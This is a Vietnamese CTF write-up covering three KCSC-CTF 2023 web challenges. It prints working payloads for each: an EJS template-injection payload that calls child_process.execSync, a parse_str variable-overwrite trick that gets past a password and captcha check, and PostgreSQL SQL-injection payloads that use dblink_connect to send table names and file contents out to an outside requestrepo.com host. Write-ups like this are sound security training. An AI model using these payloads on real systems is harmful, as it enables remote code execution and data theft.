---
# System prepended metadata

title: KCSC-CTF 2023
tags: [CTF]

---

# KCSC-CTF 2023
---
###### tags: `CTF`
## 1. Valentine (Stolen)
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/KCSC_CTF_2023/valentine(stolen)**

Link: https://valentine.kcsc.tf/
### Description:
- Đây là trang web dính lỗi SSTI, tác giả cho writeup của mội challenge tương tự đó là [đây](https://maoutis.github.io/writeups/Web%20Hacking/valentine/), nhưng thực hiện filter khác biệt một chút.
### Phân tích:
```javascript=
let blacklist = ['<%', '%>', '[.', '.]', '(.', '.)', '{.', '.}', ',', '?', '!', '@', '#', '$', '%', '^', '&', '*', '-', '\\'] // safed keke
blacklist.forEach(e => {
    if (tmpl.includes(e)) {
        res.status(400).send({ message: "don't hack me" })
    }
})
if (tmpl.includes('{{ name }}')) {
    tmpl = tmpl.replace(/\{\{/g, '<%=')
    tmpl = tmpl.replace(/\}\}/g, '%>')
} else {
    res.status(400).send({ message: "{{ name }} required!" })
}
```
- Để bypass qua đoạn code trên thì khi nhập `template` mình phải bỏ qua một số ký tự trong blacklist và phải có `{{ name }}`.
- Trong bài `valentine - hxp 2022` mà tác giả đã hint thì website sử dụng EJS quản lý các chế độ xem và các chế độ xem đó được lưu trữ bên trong `/view` với một uuid làm tên tệp.
- Đọc writeup một lúc và làm theo thì mình tìm được một đoạn payload:
```
process.mainModule.require('child_process').execSync('echo pippo')
```
- Sửa lại một chút để bypass qua đoạn filter mình được payload:
```
{{ name }}{{ process.mainModule.require('child_process').execSync('echo pippo') }}
```
![](https://hackmd.io/_uploads/ByyeGBmH3.png)
- Thực thi thành công, flag trong `/readflag`, payload:
```
{{ name }}{{ process.mainModule.require('child_process').execSync('/readflag') }}
```
![](https://hackmd.io/_uploads/HJPhGBQrh.png)
Flag: `KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}`
## 2. Bypass Captcha
**Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/KCSC_CTF_2023/bypass_captcha**

Link: https://bypass-captcha.kcsc.tf/
### Description:
- Đây là trang web có chức năng nhập `password` và xác thực với một `captcha`.
### Phân tích:
- Trong file `index.php` mình focus vào đoạn code:
```php=
if ($data->success == 1 && $now - $challenge_ts <= 5) {
    if ($passwd === $PASSWD) {
        die($FLAG);
    } else {
        die('Wrong password!');
    }
} else {
    die('Verify captcha failed!');
}
```
- Để in ra được flag thì cần trải qua 2 bước:
    -  Đầu tiên là `$data->success == 1` nghĩa là mình phải xác thực captcha thành công, sau đó `$now - $challenge_ts <= 5` là mình phải submit `$passwd` sau khi xác thực thành công dưới 5 giây.
    -  Tiếp theo là `$passwd` nhập vào phải bằng `$PASSWD` trên server. Vấn đề là mình không biết phải tìm `$PASSWD` trên server như thế nào.
- Đọc file `config.php`:
```php=
<?php

$SITE_VERIFY = getenv('SITE_VERIFY');
$PASSWD = getenv('PASSWD');
$FLAG = getenv('FLAG');
$SITE_KEY = getenv('SITE_KEY');
$SECRET_KEY = getenv('SECRET_KEY');
parse_str($_SERVER['QUERY_STRING']);
error_reporting(0);
```
- Dòng `parse_str($_SERVER['QUERY_STRING']);` khá lạ. 
- Hàm `parse_str` sử dụng để phân tích một chuỗi truy vấn và gán các giá trị vào các biến. Nếu có thêm tham số thứ hai `$result` thì các giá trị phân tích từ chuỗi truy vấn sẽ được gán vào mảng `$result`. Nếu không có, kết quả sẽ được đưa ra trực tiếp thông qua các biến toàn cục. 
- Nghĩa là nếu mình truyền như này:
```
https://bypass-captcha.kcsc.tf/index.php?PASSWD=1
```
Thì mình có thể replace và kiểm soát được biến `$PASSWD`. Tuy nhiên có một vấn đề là khi POST thì không truyền được `$PASSWD`.
![](https://hackmd.io/_uploads/Bks7GLmBh.png)
Tại `form` đã được cấu hình sẵn là `/index.php`, vì vậy mình chỉ việc sửa code HTML lại thành `/index.php?PASSWD=1` và nhập `password` bằng 1 là có flag. 
Việc còn lại là tay mình có đủ to để chỉnh HTML và nhập đủ nhanh bypass captcha dưới 5 giây được hay không. Để tối ưu mình nhập `password` là 1.
![](https://hackmd.io/_uploads/B13CXIXr2.png)
Tay mình hong to lắm nma cũng đủ :>
Flag: `KCSC{Bypass_Turnstile_Cloudflare_1e22c0f8}`
## 3. PetShop
Link chall: https://petshop.kcsc.tf/
![](https://hackmd.io/_uploads/Hk39AjHSh.png)
![](https://hackmd.io/_uploads/SyAaAoSH2.png)
- Mục tìm kiếm phụ kiện bị disable nên mình chỉnh lại HTML và tìm kiếm thì website sử dụng biến `/sp=` để tìm kiếm. 
![](https://hackmd.io/_uploads/H1jdkhrS3.png)
- Hint là voi nên mình nghĩ là trang web sử dụng PostgreSQL. Thử một vài lỗi SQL Injection và f5 lại thì xuất hiện lỗi
![](https://hackmd.io/_uploads/ryL17hHSn.png)
- Vậy kết quả của truy vấn được trả về ở lần truy cập trang tiếp theo.
- Mình thử `union` thì xác định được truy vấn trả về 2 cột
![](https://hackmd.io/_uploads/Hyu2Q2HH3.png)
- Thử với table `pg_tables` đặc trưng của PostgreSQL thì không có lỗi gì cả, nên mình xác định được server dùng PostgreSQL
![](https://hackmd.io/_uploads/SJbH4nrr2.png)
- Sau khi đọc writeup của 1 team làm được bài này thì mình xác định được là bài này làm theo hướng OOB
- Trang https://omercitak.com/out-of-band-attacks-en/ demo OOB trong PostgreSQL bằng `dblink_connect`. Payload:
```
?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT tablename FROM pg_tables LIMIT 1) , '.yl76gr1x.requestrepo.com user=a password=a '))-- -
```
- Giải thích một chút thì đoạn truy vấn sử dụng `CONCAT` để tạo ra một chuỗi kết nối đến cơ sở dữ liệu từ xa. Giá trị của `tablename` từ câu truy vấn con `(SELECT tablename FROM pg_tables LIMIT 1)` được sử dụng để đặt tên `host`. Phần còn lại của chuỗi là các thông tin khác như địa chỉ `host`, `user` và `password`.
- Xác định được table `searches`:
![](https://hackmd.io/_uploads/rkEq92Br2.png)
- Các table tiếp theo là table của db:
![](https://hackmd.io/_uploads/HJr3kpHSh.png)
![](https://hackmd.io/_uploads/r15T1prB3.png)
- Focus vào table `searches` dump tên cột với payload: 
```
?sp=' UNION SELECT NULL, dblink_connect(CONCAT('host=',(SELECT column_name FROM information_schema.columns WHERE table_name = 'searches' LIMIT 1) , '.yl76gr1x.requestrepo.com user=a password=a '))-- -
```
- Xác định được 2 cột trong bảng `searches` là `id` và `search`:
![](https://hackmd.io/_uploads/rJjUxTHS3.png)
![](https://hackmd.io/_uploads/rkv2eTBHn.png)
- Tiếp theo là trích xuất dữ liệu trong cột `search` bằng hàm `substring()`, payload:
```
?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT substring(search,1,100) FROM searches) , '.yl76gr1x.requestrepo.com user=a password=a '))-- -
```
Lấy nhiều hơn số ký tự của dữ liệu trong cột `search` cũng không sao nên mình để là 100 ký tự.
![](https://hackmd.io/_uploads/HJgwV6HSn.png)
- Giá trị `L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhL3NxbE91dE9mQmFuZA` là dạng base64, decode ra `/var/lib/postgresql/data/sqlOutOfBand`. Một đường dẫn file, khả năng là file binary nên mình thử đọc bằng `pg_read_binary_file`, payload:
```
?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT pg_read_binary_file('/var/lib/postgresql/data/sqlOutOfBand')) , '.yl76gr1x.requestrepo.com user=a password=a '))-- -
```
![](https://hackmd.io/_uploads/H1k4DTSH3.png)
- Data: `x4b4353437b596561685f42616e5f4c616d5f44756f635f526f692121217d0a`
- Đem đi decode hexadecimal:
![](https://hackmd.io/_uploads/Sy3TD6HBn.png)
Flag: `KCSC{Yeah_Ban_Lam_Duoc_Roi!!!}`